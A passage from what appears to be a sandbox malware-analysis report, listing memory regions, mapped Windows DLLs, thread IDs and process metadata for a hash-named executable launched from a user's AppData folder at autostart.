0x7fefd160fff monitored = 0 entry_point = 0x7fefd0d1440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 2485 start_va = 0x7fefd170000 end_va = 0x7fefd1acfff monitored = 0 entry_point = 0x7fefd1718f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2486 start_va = 0x7fefd1b0000 end_va = 0x7fefd1c3fff monitored = 0 entry_point = 0x7fefd1b10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2487 start_va = 0x7fefd1d0000 end_va = 0x7fefd1defff monitored = 0 entry_point = 0x7fefd1d19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2488 start_va = 0x7fefd270000 end_va = 0x7fefd27efff monitored = 0 entry_point = 0x7fefd271020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2489 start_va = 0x7fefd280000 end_va = 0x7fefd2bafff monitored = 0 entry_point = 0x7fefd281324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2490 start_va = 0x7fefd2c0000 end_va = 0x7fefd42cfff monitored = 0 entry_point = 0x7fefd2c10b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2491 start_va = 0x7fefd4d0000 end_va = 0x7fefd53bfff monitored = 0 entry_point = 0x7fefd4d2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2492 start_va = 0x7fefd540000 end_va = 0x7fefd575fff monitored = 0 entry_point = 0x7fefd541474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2493 start_va = 0x7fefd580000 end_va = 0x7fefd599fff monitored = 0 entry_point = 0x7fefd581558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2494 start_va = 0x7fefd5a0000 end_va = 0x7fefd6ccfff monitored = 0 entry_point = 0x7fefd5eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2495 start_va = 0x7fefd6d0000 end_va = 0x7fefd721fff monitored = 0 entry_point = 0x7fefd6d10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2496 start_va = 0x7fefd730000 end_va = 0x7fefd932fff monitored = 0 entry_point = 0x7fefd753330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2497 start_va = 0x7fefd940000 end_va = 0x7fefd94dfff monitored = 0 entry_point = 0x7fefd941080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2498 start_va = 0x7fefdd50000 end_va = 0x7fefde18fff monitored = 0 entry_point = 0x7fefddca874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2499 start_va = 0x7fefde20000 end_va = 0x7fefeba7fff monitored = 0 entry_point = 0x7fefde9cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2500 start_va = 0x7fefebb0000 end_va = 0x7fefec4efff monitored = 0 entry_point = 0x7fefebb25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2501 start_va = 0x7fefec50000 end_va = 0x7fefec7dfff monitored = 0 entry_point = 0x7fefec51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2502 start_va = 0x7fefec80000 end_va = 0x7fefecf0fff monitored = 0 entry_point = 0x7fefec91e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2503 start_va = 0x7fefed00000 end_va = 0x7fefed66fff monitored = 0 entry_point = 0x7fefed0b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2504 start_va = 0x7fefed70000 end_va = 0x7fefed77fff monitored = 0 entry_point = 0x7fefed71504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2505 start_va = 0x7fefed80000 end_va = 0x7fefee88fff monitored = 0 entry_point = 0x7fefed81064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2506 start_va = 0x7feff060000 end_va = 0x7feff13afff monitored = 0 entry_point = 0x7feff080760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2507 start_va = 0x7feff140000 end_va = 0x7feff1d8fff monitored = 0 entry_point = 0x7feff141c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2508 start_va = 0x7feff1e0000 end_va = 0x7feff1fefff monitored = 0 entry_point = 0x7feff1e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2509 start_va = 0x7feff280000 end_va = 0x7feff2ccfff monitored = 0 entry_point = 0x7feff281070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2510 start_va = 0x7feff2d0000 end_va = 0x7feff3a6fff monitored = 0 entry_point = 0x7feff2d3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2511 start_va = 0x7feff3b0000 end_va = 0x7feff586fff monitored = 0 entry_point = 0x7feff3b1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2512 start_va = 0x7feff5a0000 end_va = 0x7feff5a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2513 start_va = 0x7fffff50000 end_va = 0x7fffff51fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff50000" filename = "" Region: id = 2514 start_va = 0x7fffff52000 end_va = 0x7fffff53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff52000" filename = "" Region: id = 2515 start_va = 0x7fffff54000 end_va = 0x7fffff55fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff54000" filename = "" Region: id = 2516 start_va = 0x7fffff56000 end_va = 0x7fffff57fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff56000" filename = "" Region: id = 2517 start_va = 0x7fffff58000 end_va = 0x7fffff59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff58000" filename = "" Region: id = 2518 start_va = 0x7fffff5a000 end_va = 0x7fffff5bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5a000" filename = "" Region: id = 2519 start_va = 0x7fffff5c000 end_va = 0x7fffff5dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5c000" filename = "" Region: id = 2520 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 2521 start_va = 0x7fffff60000 end_va = 0x7fffff61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 2522 start_va = 0x7fffff62000 end_va = 0x7fffff63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 2523 start_va = 0x7fffff64000 end_va = 0x7fffff65fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 2524 start_va = 0x7fffff66000 end_va = 0x7fffff67fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 2525 start_va = 0x7fffff68000 end_va = 0x7fffff69fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 2526 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 2527 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 2528 start_va = 0x7fffff70000 end_va = 0x7fffff71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 2529 start_va = 0x7fffff72000 end_va = 0x7fffff73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 2530 start_va = 0x7fffff74000 end_va = 0x7fffff75fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 2531 start_va = 0x7fffff76000 end_va = 0x7fffff77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 2532 start_va = 0x7fffff78000 end_va = 0x7fffff79fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 2533 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 2534 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 2535 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 2536 start_va = 0x7fffff80000 end_va = 0x7fffff81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 2537 start_va = 0x7fffff82000 end_va = 0x7fffff83fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 2538 start_va = 0x7fffff84000 end_va = 0x7fffff85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 2539 start_va = 0x7fffff86000 end_va = 0x7fffff87fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 2540 start_va = 0x7fffff88000 end_va = 0x7fffff89fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 2541 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 2542 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 2543 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 2544 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 2545 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 2546 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 2547 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2548 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2549 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2550 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2551 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2552 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2553 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2554 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2555 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2556 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2557 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2558 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2559 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2560 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2561 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2562 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2563 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2564 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2565 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2566 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2620 start_va = 0x1030000 end_va = 0x103ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2659 start_va = 0x1040000 end_va = 0x104ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2679 start_va = 0x1050000 end_va = 0x105ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2680 start_va = 0x1030000 end_va = 0x103ffff monitored = 0 entry_point = 0x1033e64 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 2681 start_va = 0x1040000 end_va = 0x1043fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Thread: id = 55 os_tid = 0xbe8 Thread: id = 56 os_tid = 0xbec Thread: id = 57 os_tid = 0xb4c Thread: id = 58 os_tid = 0xffc Thread: id = 59 os_tid = 0xe64 Thread: id = 60 os_tid = 0xe60 Thread: id = 61 os_tid = 0xd84 Thread: id = 62 os_tid = 0x61c Thread: id = 63 os_tid = 0x5dc Thread: id = 64 os_tid = 0x4a0 Thread: id = 65 os_tid = 0x478 Thread: id = 66 os_tid = 0x76c Thread: id = 67 os_tid = 0x640 Thread: id = 68 os_tid = 0x668 Thread: id = 69 os_tid = 0x2ac Thread: id = 70 os_tid = 0x72c Thread: id = 71 os_tid = 0x158 Thread: id = 72 os_tid = 0x648 Thread: id = 73 os_tid = 0x358 Thread: id = 74 os_tid = 0x6a0 Thread: id = 75 os_tid = 0x610 Thread: id = 76 os_tid = 0x6b4 Thread: id = 77 os_tid = 0x5c4 Thread: id = 78 os_tid = 0x6c4 Thread: id = 79 os_tid = 0x16c Thread: id = 80 os_tid = 0x63c Thread: id = 81 os_tid = 0x780 Thread: id = 82 os_tid = 0x758 Thread: id = 83 os_tid = 0x680 Thread: id = 84 os_tid = 0x720 Thread: id = 85 os_tid = 0x304 Thread: id = 86 os_tid = 0x320 Thread: id = 87 os_tid = 0x6a8 Thread: id = 88 os_tid = 0x65c Thread: id = 89 os_tid = 0x624 Thread: id = 90 os_tid = 0x620 Thread: id = 91 os_tid = 0x5fc Thread: id = 92 os_tid = 0x5ec Thread: id = 93 os_tid = 0x45c Thread: id = 94 os_tid = 0x458 Thread: id = 95 os_tid = 0x154 Thread: id = 96 os_tid = 0x364 Thread: id = 97 os_tid = 0x454 Thread: id = 98 os_tid = 0x450 Thread: id = 99 os_tid = 0x444 Thread: id = 100 os_tid = 0x1c0 Thread: id = 101 os_tid = 0x3f4 Thread: id = 102 os_tid = 0x3ec Thread: id = 103 os_tid = 0x3e0 Thread: id = 104 os_tid = 0x374 Thread: id = 105 os_tid = 0x36c Thread: id = 106 os_tid = 0x8c8 Process: id = "10" image_name = "34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" filename = "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" page_root = "0x759d000" os_pid = "0x754" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x6fc" cmd_line = "\"C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fcb1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2787 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2788 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2789 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2790 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2791 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2792 start_va = 0x130000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2793 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 2794 start_va = 0xad0000 end_va = 0xae4fff monitored = 1 entry_point = 0xad6652 region_type = mapped_file name = "34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe") Region: id = 2795 start_va = 0x77440000 end_va = 0x775e8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2796 start_va = 0x77620000 end_va = 0x7779ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2797 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2798 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2799 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2800 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2801 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2802 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2803 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3036 start_va = 0x3f0000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3037 start_va = 0x73db0000 end_va = 0x73deefff monitored = 0 entry_point = 0x73dde088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3038 start_va = 0x73d50000 end_va = 0x73dabfff monitored = 0 entry_point = 0x73d8f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3039 start_va = 0x73d40000 end_va = 0x73d47fff monitored = 0 entry_point = 0x73d420f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3040 start_va = 0x77320000 end_va = 0x7743efff monitored = 0 entry_point = 0x77335340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3041 start_va = 0x753b0000 end_va = 0x754bffff monitored = 0 entry_point = 0x753c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3042 start_va = 0x77320000 end_va = 0x7743efff monitored = 0 entry_point = 0x77335340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3043 start_va = 0x77320000 end_va = 0x7743efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077320000" filename = "" Region: id = 3044 start_va = 0x77220000 end_va = 0x77319fff monitored = 0 entry_point = 0x7723a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3045 start_va = 0x77220000 end_va = 0x77319fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077220000" filename = "" Region: id = 3046 start_va = 0x650000 end_va = 0x92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 3047 start_va = 0x753b0000 end_va = 0x754bffff monitored = 0 entry_point = 0x753c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3048 start_va = 0x75850000 end_va = 0x75896fff monitored = 0 entry_point = 0x758574c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3049 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3050 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3051 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3052 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3060 start_va = 0x73a20000 end_va = 0x73a31fff monitored = 0 entry_point = 0x73a21200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 3061 start_va = 0x75590000 end_va = 0x755c4fff monitored = 0 entry_point = 0x7559145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3062 start_va = 0x75c30000 end_va = 0x75cdbfff monitored = 0 entry_point = 0x75c3a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3063 start_va = 0x770e0000 end_va = 0x771cffff monitored = 0 entry_point = 0x770f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3064 start_va = 0x75170000 end_va = 0x751cffff monitored = 0 entry_point = 0x7518a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3065 start_va = 0x75160000 end_va = 0x7516bfff monitored = 0 entry_point = 0x751610e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3066 start_va = 0x756f0000 end_va = 0x75708fff monitored = 0 entry_point = 0x756f4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3067 start_va = 0x751d0000 end_va = 0x751d5fff monitored = 0 entry_point = 0x751d1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3068 start_va = 0x75200000 end_va = 0x752fffff monitored = 0 entry_point = 0x7521b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3069 start_va = 0x77050000 end_va = 0x770dffff monitored = 0 entry_point = 0x77066343 region_type = mapped_file name = "gdi32.dll" 